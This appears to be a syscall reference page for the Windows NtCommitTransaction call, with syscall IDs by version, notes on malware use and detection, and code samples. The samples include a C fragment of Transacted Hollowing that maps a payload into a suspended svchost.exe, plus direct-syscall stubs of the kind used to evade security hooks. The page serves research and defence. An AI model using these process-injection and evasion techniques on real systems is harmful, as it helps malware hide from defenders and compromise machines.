NtCommitTransaction
Commits a KTM transaction, atomically persisting every change made under it to disk.
Prototype
NTSTATUS NtCommitTransaction( HANDLE TransactionHandle, BOOLEAN Wait );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| TransactionHandle | HANDLE | in | Handle to the transaction to commit. Must have TRANSACTION_COMMIT access. |
| Wait | BOOLEAN | in | TRUE blocks until commit is durable; FALSE returns STATUS_PENDING immediately. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x93 | win10-1507 |
| Win10 1607 | 0x94 | win10-1607 |
| Win10 1703 | 0x95 | win10-1703 |
| Win10 1709 | 0x96 | win10-1709 |
| Win10 1803 | 0x97 | win10-1803 |
| Win10 1809 | 0x97 | win10-1809 |
| Win10 1903 | 0x97 | win10-1903 |
| Win10 1909 | 0x97 | win10-1909 |
| Win10 2004 | 0x99 | win10-2004 |
| Win10 20H2 | 0x99 | win10-20h2 |
| Win10 21H1 | 0x99 | win10-21h1 |
| Win10 21H2 | 0x99 | win10-21h2 |
| Win10 22H2 | 0x99 | win10-22h2 |
| Win11 21H2 | 0x9B | win11-21h2 |
| Win11 22H2 | 0x9B | win11-22h2 |
| Win11 23H2 | 0x9B | win11-23h2 |
| Win11 24H2 | 0x9D | win11-24h2 |
| Server 2016 | 0x94 | winserver-2016 |
| Server 2019 | 0x97 | winserver-2019 |
| Server 2022 | 0x9B | winserver-2022 |
| Server 2025 | 0x9D | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 9D 00 00 00 mov eax, 0x9D ; Win11 24H2 SSN F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
Drives the two-phase commit protocol across every Resource Manager enlisted in the transaction (typically just TxF). When `Wait = TRUE`, the call only returns once the CLFS log has flushed the commit record — at that point the changes are crash-consistent. When `Wait = FALSE`, the return is `STATUS_PENDING` and the caller can wait on the transaction handle.
Common malware usage
In **Transacted Hollowing** (a Doppelgänging cousin documented by Hasherezade & enSilo), `NtCommitTransaction` replaces `NtRollbackTransaction` at the end of the chain: the malicious bytes are *kept* on disk under an unsuspicious filename, then process-hollowed into a benign target. The technique is also used by some droppers to atomically swap a chain of files (DLL + INI + scheduled-task XML) so an EDR scanner cannot catch any intermediate inconsistent state. For full Doppelgänging in the strict enSilo sense, the commit is *not* called — but defenders must still treat any commit of a recently-written executable file as suspicious, particularly when the writer is not the standard installer-engine process.
Detection opportunities
ETW `Microsoft-Windows-Kernel-File` event ID 30 carries `TransactionToken` and `FileObject`; correlating the commit with the preceding `NtWriteFile` events on the same transaction lets you reconstruct the bytes that were committed. EDR products that maintain a per-transaction shadow buffer can hash the committed payload at commit time and forward it to a reputation service. Sysmon Event 11 (FileCreate) fires when the transacted file is *first written*, not on commit, so commit detection requires the ETW path.
Direct syscall examples
cTransacted Hollowing — commit instead of rollback
// Transacted Hollowing variant: commit, then hollow.
NTSTATUS s = NtCommitTransaction(hTransaction, /*Wait=*/ TRUE);
if (!NT_SUCCESS(s)) return s;
// Section now backed by committed payload on disk.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
PAGE_READONLY, SEC_IMAGE, hTransactedFile);
// Map the section into a suspended target and patch entry point.
CreateProcessW(L"C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtUnmapViewOfSection(pi.hProcess, baseAddr);
NtMapViewOfSection(hSection, pi.hProcess, &newBase, 0, 0, NULL,
&viewSize, ViewShare, 0, PAGE_EXECUTE_READ);
ResumeThread(pi.hThread);asmx64 direct stub (Win11 24H2)
; NtCommitTransaction direct stub — SSN 0x9D on Win11 24H2
NtCommitTransaction PROC
mov r10, rcx
mov eax, 9Dh
syscall
ret
NtCommitTransaction ENDPrustCommit via ntapi crate
use ntapi::ntxcapi::NtCommitTransaction;
use winapi::shared::ntdef::{HANDLE, TRUE as NT_TRUE};
unsafe fn commit(tx: HANDLE) {
let status = NtCommitTransaction(tx, NT_TRUE as _);
assert!(status >= 0, "commit failed: 0x{:X}", status);
}MITRE ATT&CK mappings
Last verified: 2026-05-20